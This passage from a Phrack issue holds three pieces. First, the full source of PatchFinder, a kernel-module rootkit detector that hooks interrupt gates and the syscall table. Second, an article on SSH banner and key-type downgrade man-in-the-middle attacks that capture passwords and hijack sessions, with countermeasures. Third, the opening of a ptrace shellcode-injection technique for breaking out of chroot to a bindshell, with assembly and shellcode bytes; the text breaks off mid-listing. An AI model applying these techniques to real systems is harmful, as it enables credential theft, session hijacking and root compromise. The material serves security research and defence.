         www.intel.com, 2001.

--[Appendix: PatchFinder source code

This is the PatchFinder, the proof of concept of the described technique. It does not implement polymorphisms. The LKM support is need in order to run this program. If, during test you notice strange actions (like system Oops) this probably means that somebody rooted your system. On the other hand it could be my bug... And remember to remove the patchfinder's module after the tests.

```
<++> ./patchfinder/Makefile
MODULE_NAME=patchfinder.o
PROG_NAME=patchfinder

all: $(MODULE_NAME) $(PROG_NAME)

$(MODULE_NAME) : module.o traps.o
        ld -r -o $(MODULE_NAME) module.o traps.o

module.o : module.c module.h
        gcc -c module.c -I /usr/src/linux/include

traps.o : traps.S module.h
        gcc -D__ASSEMBLY__ -c traps.S


$(PROG_NAME): main.o tests.o libpf.o
        gcc -o $(PROG_NAME) main.o tests.o libpf.o

main.o: main.c main.h
        gcc -c main.c -D MODULE_NAME='"$(MODULE_NAME)"'\
                          -D PROG_NAME='"$(PROG_NAME)"'
tests.o: tests.c main.h
libpf.o: libpf.c libpf.h


clean:
        rm -fr *.o $(PROG_NAME)
<--> ./patchfinder/Makefile
<++> ./patchfinder/traps.S
/*                                                             */
/*            The Kernel PatchFinder version 0.9               */
/*                                                             */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                             */

#include <linux/linkage.h>
#define __KERNEL__
#include "module.h"

tsk_ptrace  = 24                        # offset into the task_struct

ENTRY(PF_system_call)
        pushl %ebx
        movl $-8192, %ebx
        andl %esp, %ebx                 # %ebx <-- current

        testb $PT_PATCHFINDER,tsk_ptrace(%ebx)
        je continue_syscall
        pushf
        popl %ebx
        orl $TF_MASK, %ebx              # set TF flag
        pushl %ebx
        popf

continue_syscall:
        popl %ebx
        jmp *orig_system_call

ENTRY(PF_debug)
        incl PF_traps
        iret


<--> ./patchfinder/traps.S
<++> ./patchfinder/module.h
/*                                                                */
/*             The Kernel PatchFinder version 0.9                 */
/*                                                                */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                                */

#ifndef __MODULE_H
#define __MODULE_H

#define PT_PATCHFINDER  0x80    /* should not conflict with PT_xxx
                                   defined in linux/sched.h */

#define TF_MASK         0x100   /* TF mask in EFLAGS */

#define SYSCALL_VECTOR  0x80
#define DEBUG_VECTOR    0x1

#define PF_START        0xfee
#define PF_GET          0xfed
#define PF_QUERY        0xdefaced
#define PF_ANSWER       0xaccede

#define __NR_patchfinder 250


#endif

<--> ./patchfinder/module.h
<++> ./patchfinder/module.c
/*                                                                */
/*             The Kernel PatchFinder version 0.9                 */
/*                                                                */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                                */

#define MODULE
#define __KERNEL__
#ifdef MODVERSIONS
#include <linux/modversions.h>
#endif

#include <linux/kernel.h>
#include <linux/module.h>
#include <linux/sched.h>
#include "module.h"

#define DEBUG 1

MODULE_AUTHOR("Jan Rutkowski");
MODULE_DESCRIPTION("The PatchFinder module");

asmlinkage int PF_system_call(void);
asmlinkage int PF_debug (void);
int (*orig_system_call)();
int (*orig_debug)();
int (*orig_syscall)(unsigned int);
extern void *sys_call_table[];
int PF_traps;

/* this one comes from arch/i386/kernel/traps.c */
#define _set_gate(gate_addr,type,dpl,addr) \
do { \
  int __d0, __d1; \
  __asm__ __volatile__ ("movw %%dx,%%ax\n\t" \
        "movw %4,%%dx\n\t" \
        "movl %%eax,%0\n\t" \
        "movl %%edx,%1" \
        :"=m" (*((long *) (gate_addr))), \
         "=m" (*(1+(long *) (gate_addr))), "=&a" (__d0), "=&d" (__d1) \
        :"i" ((short) (0x8000+(dpl<<13)+(type<<8))), \
         "3" ((char *) (addr)),"2" (__KERNEL_CS << 16)); \
} while (0)

struct idt_gate {
        unsigned short  off1;
        unsigned short  sel;
        unsigned char   none, flags;
        unsigned short  off2;
} __attribute__ ((packed));

struct idtr {
        unsigned short  limit;
        unsigned int    base;
} __attribute__ ((packed));

struct idt_gate * get_idt () {
        struct idtr idtr;
        asm("sidt %0" : "=m" (idtr));
        return (struct idt_gate*) idtr.base;
}

void * get_int_handler (int n) {
        struct idt_gate * idt_gate = (get_idt() + n);
        return (void*)((idt_gate->off2 << 16) + idt_gate->off1);
}

static void set_system_gate(unsigned int n, void *addr) {
        printk ("setting int for int %d -> %#x\n", n, addr);
        _set_gate(get_idt()+n,15,3,addr);
}

asmlinkage int sys_patchfinder (int what) {
        struct task_struct *tsk = current;

        switch (what) {
                case PF_START:
                        tsk->ptrace |= PT_PATCHFINDER;
                        PF_traps = 0;
                        break;
                case PF_GET:
                        tsk->ptrace &= ˜PT_PATCHFINDER;
                        break;
                case PF_QUERY:
                        return PF_ANSWER;
                default:
                        printk ("I don’t know what to do!\n");
                        return -1;
        }
        return PF_traps;
}

int init_module () {
        EXPORT_NO_SYMBOLS;

        orig_system_call = get_int_handler (SYSCALL_VECTOR);
        set_system_gate (SYSCALL_VECTOR, &PF_system_call);

        orig_debug = get_int_handler (DEBUG_VECTOR);
        set_system_gate (DEBUG_VECTOR, &PF_debug);

        orig_syscall = sys_call_table[__NR_patchfinder];
        sys_call_table [__NR_patchfinder] = sys_patchfinder;

        printk ("Kernel PatchFinder has been succesfully"
                "inserted into your kernel!\n");
#ifdef DEBUG
        printk (" orig_system_call : %#x\n", orig_system_call);
        printk (" PF_system_calli  : %#x\n", PF_system_call);
        printk (" orig_debug       : %#x\n", orig_debug);
        printk (" PF_debug         : %#x\n", PF_debug);
        printk (" using syscall    : %d\n", __NR_patchfinder);

#endif
        return 0;
}

int cleanup_module () {
        set_system_gate (SYSCALL_VECTOR, orig_system_call);
        set_system_gate (DEBUG_VECTOR, orig_debug);
        sys_call_table [__NR_patchfinder] = orig_syscall;

        printk ("PF module safely removed.\n");
        return 0;
}




<--> ./patchfinder/module.c
<++> ./patchfinder/main.h
/*                                                              */
/*            The Kernel PatchFinder version 0.9              */
/*                                                              */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                              */

#ifndef __MAIN_H
#define __MAIN_H

#define PF_MAGIC     "patchfinder"
#define M_GENTTBL    1
#define M_CHECK      2
#define MAX_TESTS    9
#define TESTNAMESZ   32

#define WARN_THRESHOLD   20
#define ALERT_THRESHHOLD 500
#define TRIES_DEFAULT    200


typedef struct {
        int t;
        double ft;
        char name[TESTNAMESZ];
        int (*test_func)();
} TTEST;

typedef struct {
        char  magic[sizeof(PF_MAGIC)];
        TTEST test [MAX_TESTS];
        int   ntests;
        int   tries;
} TTBL;

#endif


<--> ./patchfinder/main.h
<++> ./patchfinder/main.c
/*                                                               */
/*            The Kernel PatchFinder version 0.9                 */
/*                                                               */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                               */


#include <stdio.h>
#include <unistd.h>
#include <string.h>
#include <errno.h>
#include <fcntl.h>
#include <sched.h>
#include "main.h"
#include "libpf.h"

void die (char *str) {
        if (errno) perror (str);
        else printf ("%s\n", str);
        exit (1);
}

void usage () {
 printf ("(c) Jan K. Rutkowski, 2002\n");
 printf ("email: jkrutkowski@elka.pw.edu.pl\n");
 printf ("%s [OPTIONS] <filename>\n", PROG_NAME);

 printf ("  -g save current system’s characteristics to file\n");
 printf ("  -c check system against saved results\n");
 printf ("  -t change number of iterations per each test\n");
 exit (0);

}

void write_ttbl (TTBL* ttbl, char *filename) {
        int fd;
        fd = open (filename, O_WRONLY | O_CREAT);
        if (fd < 0) die ("can not create file");
        strcpy (ttbl->magic, PF_MAGIC);
        if (write (fd, ttbl, sizeof (TTBL)) < 0)
                        die ("can not write to file");
        close (fd);
}

void read_ttbl (TTBL* ttbl, char *filename) {
        int fd;
        fd = open (filename, O_RDONLY);
        if (fd < 0) die ("can not open file");
        if (read (fd, ttbl, sizeof (TTBL)) != sizeof(TTBL))
                        die ("can not read file");
        if (strncmp(ttbl->magic, PF_MAGIC, sizeof (PF_MAGIC)))
                die ("bad file format\n");
        close (fd);
}

main (int argc, char **argv) {
        TTBL current, clear;
        int tries = 0, mode = 0;
        int  opt, max_prio, i, j, T1, T2, dt;
        char *ttbl_file;
        struct sched_param sched_p;

        while ((opt = getopt (argc, argv, "hg:c:t:")) != -1)
                switch (opt) {
                        case 'g':
                                mode = M_GENTTBL;
                                ttbl_file = optarg;
                                break;
                        case 'c':
                                ttbl_file = optarg;
                                mode = M_CHECK;
                                break;
                        case 't':
                                tries = atoi (optarg);
                                break;
                        case 'h':
                        default :
                                usage();
                }

        if (getuid() != 0)
                die ("For some reasons you have to be root");

        if (!mode) usage();

        if (patchfinder (PF_QUERY) != PF_ANSWER) {
                printf (
                        "\n                     ---== ALERT! ==--\n"
                        "It seems that module %s is not loaded. "
                        "However if you are\nsure that it is loaded,"
                        "then this situation means that with your\n"
                        "kernel is something wrong! Probably there is "
                        "a rootkit installed!\n", MODULE_NAME);
                exit (1);
        }

        current.tries = (tries) ? tries : TRIES_DEFAULT;
        if (mode == M_CHECK) {
                read_ttbl (&clear, ttbl_file);
                current.tries = (tries) ? tries : clear.tries;

        }

        max_prio = sched_get_priority_max (SCHED_FIFO);
        sched_p.sched_priority = max_prio;
        if (sched_setscheduler (0, SCHED_RR, &sched_p) < 0)
                die ("Setting realtime policy\n");

        fprintf (stderr, "* FIFO scheduling policy has been set.\n");

        generate_ttbl (&current);

        sched_p.sched_priority = 0;
        if (sched_setscheduler (0, SCHED_OTHER, &sched_p) < 0)
                die ("Dropping realtime policy\n");
        fprintf (stderr, "* dropping realtime schedulng policy.\n\n");

        if (mode == M_GENTTBL) {
                write_ttbl (&current, ttbl_file);
                exit (0);
        }

        printf (
        "    test name      | current | clear | diff  | status \n");
        printf (
        "------------------------------------------------------\n");
        for (i = 0; i < current.ntests; i++) {
                if (strncmp (current.test[i].name,
                                clear.test[i].name, TESTNAMESZ))
                        die ("ttbl entry name mismatch");

                T1 = current.test[i].t;
                T2 = clear.test[i].t;
                dt = T1 - T2;
                printf ("%-18s | %7d| %7d|%7d|",
                        current.test[i].name, T1, T2, dt);

                dt = abs (dt);
                if (dt < WARN_THRESHOLD) printf ("  ok ");
                if (dt >= WARN_THRESHOLD && dt < ALERT_THRESHHOLD)
                        printf ("  (?) ");
                if (dt >= ALERT_THRESHHOLD) printf (" ALERT!");

                printf ("\n");
        }

}




<--> ./patchfinder/main.c
<++> ./patchfinder/tests.c
/*                                                            */
/*              The Kernel PatchFinder version 0.9            */
/*                                                            */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                            */

#include <stdio.h>
#include <unistd.h>
#include <sys/types.h>
#include <linux/types.h>
#include <linux/dirent.h>
#include <linux/unistd.h>
#include <assert.h>
#include "libpf.h"
#include "main.h"

int test_open_file () {
        int tmpfd, T = 0;

        patchfinder (PF_START);
        tmpfd = open ("/etc/passwd", 0, 0);
        T = patchfinder (PF_GET);

        close (tmpfd);
        return T;
}

int test_stat_file () {
        int T = 0;
        char buf[0x100];        /* we dont include sys/stat.h */

        patchfinder (PF_START);
        stat ("/etc/passwd", &buf);
        T = patchfinder (PF_GET);

        return T;
}

int test_read_file () {
        int fd, T = 0;
        char buf[0x100];
        fd = open ("/etc/passwd", 0, 0);
        if (fd < 0) die ("open");

        patchfinder (PF_START);
        read (fd, buf , sizeof(buf));
        T =  patchfinder (PF_GET);

        close (fd);
        return T;
}

int test_open_kmem () {
        int tmpfd;
        int T = 0;

        patchfinder (PF_START);
        tmpfd = open ("/dev/kmem", 0, 0);
        T = patchfinder (PF_GET);

        close (tmpfd);
        return T;
}

_syscall3(int, getdents, int, fd, struct dirent*, dirp, int, count)
int test_readdir_root () {
        int fd, T = 0;
        struct dirent de[1];

        fd = open ("/", 0, 0);
        if (fd < 0) die ("open");

        patchfinder (PF_START);
        getdents (fd, de,  sizeof (de));
        T = patchfinder (PF_GET);

        close (fd);
        return T;
}

int test_readdir_proc () {
        int fd, T = 0;
        struct dirent de[1];

        fd = open ("/proc", 0, 0);
        if (fd < 0) die ("open");

        patchfinder (PF_START);
        getdents (fd, de,  sizeof (de));
        T = patchfinder (PF_GET);

        close (fd);
        return T;
}

int test_read_proc_net_tcp () {
        int fd, T = 0;
        char buf[32];

        fd = open ("/proc/net/tcp", 0, 0);
        if (fd < 0) die ("open");

        patchfinder (PF_START);
        read (fd, buf , sizeof(buf));
        T = patchfinder (PF_GET);

        close (fd);
        return T;
```

```
}

int test_lseek_kmem () {
        int fd, T = 0;

        fd = open ("/dev/kmem", 0, 0);
        if (fd <0) die ("open");

        patchfinder (PF_START);
        lseek (fd, 0xc0100000, 0);
        T = patchfinder (PF_GET);

        close (fd);
        return T;
}

int test_read_kmem () {
        int fd, T = 0;
        char buf[256];

        fd = open ("/dev/kmem", 0, 0);
        if (fd < 0) die ("open");
        lseek (fd, 0xc0100000, 0);

        patchfinder (PF_START);
        read (fd, buf , sizeof(buf));
        T = patchfinder (PF_GET);

        close (fd);
        return T;
}

int generate_ttbl (TTBL *ttbl) {
        int i = 0, t;

#define set_test(testname) {                            \
        ttbl->test[i].test_func = test_##testname;      \
        strcpy (ttbl->test[i].name, #testname);         \
        ttbl->test[i].t = 0;                            \
        ttbl->test[i].ft = 0;                           \
        i++;                                            \
}

        set_test(open_file)
        set_test(stat_file)
        set_test(read_file)
        set_test(open_kmem)
        set_test(readdir_root)
        set_test(readdir_proc)
        set_test(read_proc_net_tcp)
        set_test(lseek_kmem)
        set_test(read_kmem)

        assert (i <= MAX_TESTS);
        ttbl->ntests = i;
#undef set_test

        fprintf (stderr, "* each test will take %d iteration\n",
                        ttbl->tries);
        usleep (100000);
        for (i = 0; i < ttbl->ntests; i++) {
                for (t = 0; t < ttbl->tries; t++)
                        ttbl->test [i].ft +=
                                (double)ttbl->test[i].test_func();

                fprintf (stderr, "* testing... %d%%\r",
                                i*100/ttbl->ntests);
                usleep (10000);
        }

        for (i = 0; i < ttbl->ntests; i++)
                ttbl->test [i].t =
                (int) (ttbl->test[i].ft/(double)ttbl->tries);

        fprintf (stderr, "\r* testing... done.\n");

        return i;

}


<--> ./patchfinder/tests.c
<++> ./patchfinder/libpf.h
/*                                                                */
/*             The Kernel PatchFinder version 0.9                 */
/*                                                                */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                                */

#ifndef __LIBPF_H
#define __LIBPF_H

#include "module.h"

int patchfinder(int what);

#endif

<--> ./patchfinder/libpf.h
<++> ./patchfinder/libpf.c
/*                                                                */
/*             The Kernel PatchFinder version 0.9                 */
/*                                                                */
/* (c) 2002 by Jan K. Rutkowski <jkrutkowski@elka.pw.edu.pl>  */
/*                                                                */

#include <asm/unistd.h>
#include <errno.h>
#include "libpf.h"

_syscall1(int, patchfinder, int, what)


<--> ./patchfinder/libpf.c
```

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0b of 0x12

```
|=-----------------=[ It cuts like a knife. SSHarp. ]=------------------=|
|=-----------------------------------------------------------------------=|
|=----------------=[ stealth <stealth@segfault.net>  ]=------------------=|
```

--[Contents

--[Introduction

The Secure Shell (SSH) protocol which itself is considered strong is often weakly implemented. Especially the SSH1/SSH2 interoperability as implemented in most SSH clients suffers from certain weak points as described below. Additionally the SSH2 protocol itself is also flexible enough to contain some interesting parts for attackers.

For disclaimer see the pdf-version of this article available [here].

The described mim-program will be made available one week after releasing this article to give vendors time for fixes (which are rather trivial) to limit the possibility of abuse.

In this article I will describe how SSH clients can be tricked into thinking they are missing the host-key for the host they connected to even though they already have it in their list of known hosts. This is possible due to some points in the SSH drafts which makes life of SSH developers harder but which was ment to offer special protection or more flexibility.

I assume you have a basic understanding of how SSH works. However it is not necessary to understand it all in detail because the attacks succeeds in the handshake where only a few packets have been exchanged. I also assume you are familiar with the common attacking scenarios in networks like Man in the Middle attacks, hijacking attacks against plaintext protocols, replay attacks and so on.

--[1 - Playing with the banner

The SSH draft demands that both, client and server, exchange a banner before negotiating the key used for encrypting the communication channel. This is indeed needed for both sides to see which version of the protocol they have to speak. A banner commonly looks like

```
  SSH-1.99-OpenSSH_2.2.0p1
```

A client obtaining such a banner reads this as "speak SSH1 or SSH2 to me".

This is due to the "1" after the dash, the so called remote major version. It allows the client to choose SSH1 for key negotiation and further encryption. However it is also possible for the client to continue with SSH2 packets as the "99" tells him which is also called the remote minor version. (It is a convention that a remote-minor version of 99 with a remote-major version of 1 means both protocols.)

Depending on the clients configuration files and command-line options he decides to choose one of both protocols. Assuming the user does not force a protocol with either of the "-1" or "-2" switch most clients should behave the same way. This is due to the configuration files which do not differ that much across the various SSH vendors and often contain the line

```
  Protocol 1,2
```

which makes the client choose SSH protocol version 1. It is obvious what follows now. Since the SSH client used to use SSH1 to talk to the server it is likely that he never spoke SSH2 before. This may be exploited by attackers to prompt a banner like

```
  SSH-2.00-TESO-SSH
```

to the client. The client looks up his database of known hosts and misses the host-key because it only finds the SSH1 key of the server which does not help much because according to the banner he is not allowed to speak SSH1 anymore (since the remote major version number is 2). Instead of presenting a warning like

```
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  @    WARNING: REMOTE HOST IDENTIFICATION HAS CHANGED!     @
  @@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@@
  IT IS POSSIBLE THAT SOMEONE IS DOING SOMETHING NASTY!
  Someone could be eavesdropping on you right now (man-in-the-middle attack)!
  It is also possible that the RSA1 host key has just been changed.
  The fingerprint for the RSA1 key sent by the remote host is
  f3:cd:d9:fa:c4:c8:b2:3b:68:c5:38:4e:d4:b1:42:4f.
  Please contact your system administrator.
```

if someone tries MiM attacks against it without the banner-hack, it asks the user to just accept the new key:

```
  Enabling compatibility mode for protocol 2.0
  The authenticity of host 'lucifer (192.168.0.2)' can't be established.
  DSA key fingerprint is ab:8a:18:15:67:04:18:34:ec:c9:ee:9b:89:b0:da:e6.
  Are you sure you want to continue connecting (yes/no)?
```

It is much easier now for the user to type "yes" instead of editing the known_hosts file and restarting the SSH client. Once accepted, the attackers SSH server would record the login and password and would forward the SSH connection so the user does not notice his account was just compromised.

The described attack is not just an upgrade attack. It also works to downgrade SSH2 speaking clients to SSH1. If the banner would contain "2.0" the client only spoke SSH2 to the original server and usually can not know the SSH1 key of the server because he does not speak SSH1 at all. However our MiM server speaks SSH1 and prompts the client once again with a key he cannot know.

This attack will not work for clients which just support one protocol (likely to be SSH1) because they only implement one of them. These clients should be very seldom and most if not all SSH clients support both versions, indeed it is even a marketing-pusher to support both versions.

If the client uses RSA authentication there is no way for the attacker to get in between since he cannot use the RSA challenges presented to him by the server because he is talking a different protocol to the client. In other words, the attacker is never speaking the same version of the protocol to both parties and thus cannot forward or intercept RSA authentication.

A sample MiM program (ssharp) which mounts the banner-hack and records logins can be found at [ssharp].

--[2 - Playing with the keys

It would be nice to have a similar attack against SSH without a version switch. This is because the version switch makes it impossible to break the RSA authentication.

Reading the SSH2 draft shows that SSH2 does not use the host-key for encryption anymore (as with SSH1 where the host and server-key was sent to the client which sent back the session-key encrypted with these keys). Instead the client obtains the host-key to check whether any of the exchanged packets have been tampered with by comparing the server sent MAC (Message Authentication Code; the server computes a hash of the packets exchanged and signs it using the negotiated algorithm) with his own computed hash. The SSH2 draft is flexible enough to offer more than just one static algorithm to allow MAC computation. Rather it specifies that during key exchange the client and the server exchange a list of preferred algorithms they use to ensure packet integrity. Commonly DSA and RSA are used:

```
  stealth@liane:~> telnet 192.168.0.2 22
  Trying 192.168.0.2...
  Connected to 192.168.0.2.
  Escape character is '^]'.
  SSH-1.99-OpenSSH_2.2.0p1
  SSH-2.0-client
  ‘$es??%9?2?4D=?)??ydiffie-hellman-group1-sha1ssh-dss...
```

I deleted a lot of characters and replaced it with "..." because the interesting part is the "ssh-dss" which denotes the servers favorite algorithm used for MAC computation. Clients connecting to 192.168.0.2 cannot have a RSA key for computation because the server does not have one! Of course the attackers MiM program has a RSA key and offers only RSA to ensure integrity:

```
  stealth@liane:~> telnet 192.168.0.2 22
  Trying 192.168.0.2...
  Connected to 192.168.0.2.
  Escape character is '^]'.
  SSH-2.0-OpenSSH_2.9p1
  SSH-2.0-client
  at      s?eu??>vM??E=diffie-hellman-group-exchange-sha1,
  diffie-hellman-group1-sha1ssh-rsa...
```

A SSH client connecting to our MiM server will once again prompt the user to accept the new key instead of issuing the MiM warning.

The MiM server connected to the original server and got to know that he is using DSA. He then decided to face the user with a RSA key. If the original server offers DSA and RSA the MiM server will wait until the client sends his preferred algorithms and will choose an algorithm the client is naming for his second choice. A RFC compliant SSH2 server has to choose the first algorithm he is supporting from the client list, our MiM server will choose the next one and thus produces a key-miss on client-side. This will again produce a yes/no prompt instead of the warning message. "ssharp" also supports this key-hack mode.

--[3 - Countermeasures

Having the RSA host-key for a server offering a DSA host-key means nothing for todays clients. They ignore the fact that they have a valid host-key for that host but in a different key-type. SSH clients should also issue the MiM warning if they find host-keys for the server where either the version or type does not match. Its very likely someone in playing MiM games. In my eyes it is definitely a bug in the SSH client software.

--[4 - An Implementation

There already exist some MiM implementations for SSH1 such as [dsniff] or [ettercap]. Usually they understand the SSH protocol and put much effort into packet assembling and reassembling or forwarding. Things are much simpler. ssharp is based on a normal OpenSSH daemon which was modified to accept any login/password pair and starts a special shell for these connections: a SSH client which is given the username/password and the real destination IP. It logs into the remote host without user-interaction and since it is bound to the mim servers pty it looks for the user like he enters his normal shell. This way it is not needed to mess with SSH1 or SSH2 protocol or to replace keys etc. We just play with the banner or the signature algorithm negotiation the way described above.

If compiled with USE_MSS option enabled, ssharp will slip the SSH client through a screen-like session which allows attaching of third parties to existing (mimed) SSH1 or SSH2 connections. It is also possible to kick out the legitimate user and completely take control over the session.

--[5 - Discussion

I know I know; a lot of people will ask "thats all?" now. As with every discovery plenty of folks will claim that this is "standard UNIX semantics" or it is feature and not a bug or that the vulnerability is completely Theo...cal. Neither of them is the case here, and the folks only looking for weaknesses in the crypto-algorithms such as key-stream-reuse and possibilities to inject 2^64 ;-) adaptive choosen plain-texts will hopefully acknowledge that crypto-analysis in 2002 welcomes laziness and misunderstanding of drafs on board. Laziness already broke Enigma, but next years will show how much impact it has when people are not able to completely understand protocols or put too much trust in crypto and do not think about the impact of violating the simple MUST in section 1.1.70.3.3.1.9.78. of the super-crypto draft.

--[6 - Acknowledgments

Folks from the segfault dot net consortium ;-) for discussing and offering test environments. If you like to donate some hardware or money to these folks let me know. It would definitely help to let continue research on this and similar topics.

Also thanks to various other folks for discussing SSH with me.

This article is also available [here] as pdf paper with some screen-shots to demonstrate the power of ssharp.

--[7. References

[dsniff] as far as I know the first SSH1 MiM implementation "monkey in the
middle" part of dsniff package.
http://www.monkey.org/~dugsong/dsniff

[ettercap] good sniffer/mim combo program for lazy hackers ;-)
http://ettercap.sourceforge.net

[ssharp] an implementation of the attacks described in this article
http://stealth.7350.org/7350ssharp.tgz

[here] this article as pdf with screenshots
http://stealth.7350.org/ssharp.pdf

|=[EOF]=---=|

==Phrack Inc.==

Volume 0x0b, Issue 0x3b, Phile #0x0c of 0x12

```
|=----------------=[ Building ptrace injecting shellcodes ]=---------------=|
|=-------------------------------------------------------------------------=|
|=-------------=[ anonymous author <p59_0c@author.phrack.org ]=------------=|
```

---[Contents

---[1 - Testing environment

First of all, I've to set the rules for my playground. I used to test all these techniques under linux 2.4.18 i386 with executable stack.
They may work under any linux releases, excepted the nonexec-stack ones, due to the concept of the injection (On the stack).
By modifying a little bit these techniques it shoud be possible to exploit any OS on any architecture, as long they support the ptrace() system call.

---[2 - Why we should do ptrace injecting shellcode ?

Starting in some of the 2.4.x kernel series, linux chroot is no longer breakable by the good old well known method.(using chroot() tricks).
The linux chroot now really restricts the VFS usage, and a root shell on a chrooted process may (theorically) be unusable for a cracker, except by modifying (by example on a FTP server) the ftp tree.
An uid of zero may allow the cracker to do some others things that are not restricted by the VFS on a standard 2.4 kernel :
- Changing some kernel parameters (time of day, etc...).
- Insert a kernel module (may be exploitable, but it is very hard to include a shellcode due to space restriction. It had been used in a wuftpd 2.5 exploit, by uploading a kernel backdoor and a staticaly linked insmod. That's way much complicated to do successfuly than our tricks.)
- Somes VFS related thingies like using opens file descriptors.
- Debug any process on the system.

There is a huge vulnerability of the chroot system, which is corrected by some security patches available on the net. A root user in a chrooted env is still ptrace-capable on any process on the system (except init, of course).
This technique is also generic (doesn't use open fd's, may be usable even on non root processes) and a chrooted apache may infect fingerd as an exemple.

Here comes the idea to create a ptrace shellcode. We may, with this shellcode, trace an unrestricted process and inject into it a second shellcode, which runs a bindshell in our example.
Here is what we want for this ptrace shellcode :

-Relative small size (must be usable as a real shellcode). I saw in some exploits (like the 7350wu one) a little smaller shellcode doing a read

(0,%esp,shellcode_len), and I thought it as a really "good-idea (TM)" to inject a big shellcode. So this parameter is not so critical.

-Must be runable more than once in a short laps of time.
If the first exploitation attempt failed (e.g. port already binded), the traced process must not crash. (in the wuftpd case, if we inject malicious code in inetd, it should let it listen for ftp connections)

-The selection of the target process may be most of the time the parent process (inetd for a ftp server) which usually has full root access. We can also try all pid, starting from 2, until we find something traceable.

-We can't lookup into /proc for any process to trace.

These rules can be fulfilled, and are enough for most exploitation cases, I think.

---[3 - What does ptrace

3.1 - Requirement

You may know that the ptrace system call has been created for tracing and debugging process within usermode.
A process may be ptraced by only one process at a time, and only by a pid owned by the same user, or by root.
Under linux, ptrace commands are all implemented by the ptrace() function/syscall, with four parameters. The prototype is there :

```
       #include <sys/ptrace.h>

       long  int ptrace(enum __ptrace_request request, pid_t pid,
       void * addr, void * data)
```

'request' is a symbolic constant declared in sys/ptrace.h . We shall use those :

PTRACE_ATTACH :
Attach to the process pid.

PTRACE_DETACH :
ugh, Detach from the process pid. Never forget to do that, or your traced process will stay in stopped mode, which is unrecoverable remotely.

PTRACE_GETREGS :
This command copy the process registers into the struct pointed by data (addr is ignored). This structure is struct user_regs_struct defined as this, in asm/user.h :

```
        struct user_regs_struct {
                long ebx, ecx, edx, esi, edi, ebp, eax;
                unsigned short ds, __ds, es, __es;
                unsigned short fs, __fs, gs, __gs;
                long orig_eax, eip;
                unsigned short cs, __cs;
                long eflags, esp;
                unsigned short ss, __ss;
        };
```

PTRACE_SETREGS :
This command has the opposite meaning of PTRACE_GETREGS, with same arguments

PTRACE_POKETEXT :
This command copies 32 bits from the address pointed by data in the addr address of the traced process. This is equivalent to PTRACE_POKEDATA.

An important thing when you attach a pid is that you have to wait for the traced process to be stopped, and so have to wait for the SIGCHLD

signal.
wait(NULL) does this perfectly (implemented in the shellcode by waitpid).

3.2 - How does the library make the call

As we are writing asm code, we have to know how to call directly the ptrace system call. Little tests may show us the way the library uses to wrap the syscalls, and simply :
eax is SYS_ptrace (26 decimal)
ebx is request (e.g. PTRACE_ATTACH is 16)
ecx is pid
edx is addr
esi is data
in error case, -1 is stored in eax.

---[4 - Injecting code in a process - C code

4.1 - The stack is our friend

I've seen some injection mechanism used by some ptrace() exploits for linux, which injected a standard shellcode into the memory area pointed by %eip. That's the lazy way of doing injection, since the target process is screwed up and can't be used again. (crashes or doesn't fork)
We have to find another way to execute our code in the target process.
That's what I was thinking and I found this :

```
 1- Get the current eip of the process, and the esp.
 2- Decrement esp by four
 3- Poke eip address at the esp address.
 4- Inject the shellcode into esp - 1024 address (Not directly
        before the space pointed by esp, because some shellcodes
        use the push instruction)
 5- Set register eip as the value of esp - 1024
 6- Invoke the SETREGS method of ptrace
 7- Detach the process and let it open a root shell for you :)
```

The reason of non-usability on systems with nonexec stack is that the shellcode is uploaded onto the stack. That's a /feature/, not a bug.
I've heard of methods saving the memory context of the traced process, uploading shellcode, wait it to finish (usually after the fork) and then restoring the old state of the traced process.
That's a way, but I don't think it is really efficient because modern non-exec patches also avoid ptracing of unrestricted processes. (At least grsec does that.)

The target stack may look as this :

```
[DOWN][program stack][old_eip][craps for 1024 bytes][shellcode][UP]
                     ^> Original esp points here        new eip<^
                         new<^>esp points here
```

Something important to do before the exploitation is to put two nops bytes before the shellcode. Reason is simple : if ptrace has interrupted a syscall being executed, the kernel will subtract two bytes from eip after the PTRACE_DETACH to restart the syscall.

4.2 - Code to inject

The code to inject has to work peacefully with the stack we have set up for it : it may fork(), and let the original process continue its job.
The new process may launch a bindshell !
Here's the code of s1.S , compilable with gcc :

```
/* all that part has to be done into the injected process */
/* in other word, this is the injected shellcode          */
.globl injected_shellcode
injected_shellcode:
// ret location has been pushed previously
nop
nop
pusha           // save before anything
```

```
xor %eax,%eax
mov $0x02,%al  //sys_fork
int $0x80       //fork()
xor %ebx,%ebx
cmp %eax,%ebx   // father or son ?
je  son         // I’m son
//here, I’m the father, I’ve to restore my previous state
father:
popa
ret /* return address has been pushed on the stack previously */
// code finished for father

son: /* standard shellcode, at your choice */
.string ""
```

```
local@darkside:~/dev/ptrace$ gcc -c s1.S
```

Explanations :
The first two nops are the nops I’ve discussed just before, because in my final shellcode I choose to decrement the destination buffer source address by two.
The pusha saves all the registers on the stack, so the process may restore them just after the fork. (I say eax and ebx)
If the return value of fork is zero, this is the son being executed.
There we insert any style of shellcode.
If the return value is not zero (but a pid), restore the registers and the previously saved eip. The program may continue as if nothing has happened.

4.3 - Our first C code

Lot of theory, now a little practical example. Here is a program which will fork, attach its son, inject it the code, let it run and after kill it.
So, there is p2.c :

```
#include <stdio.h>
#include <sys/ptrace.h>
#include <linux/user.h>
#include <signal.h>
typedef long int pid_t;

void injected_shellcode();
char *hello_shellcode=
"\x31\xc0\xb0\x04\xeb\x0f\x31\xdb\x43\x59"
"\x31\xd2\xb2\x0d\xcd\x80\xa1\x78\x56\x34"
"\x12\xe8\xec\xff\xff\xff\x48\x65\x6c\x6c"
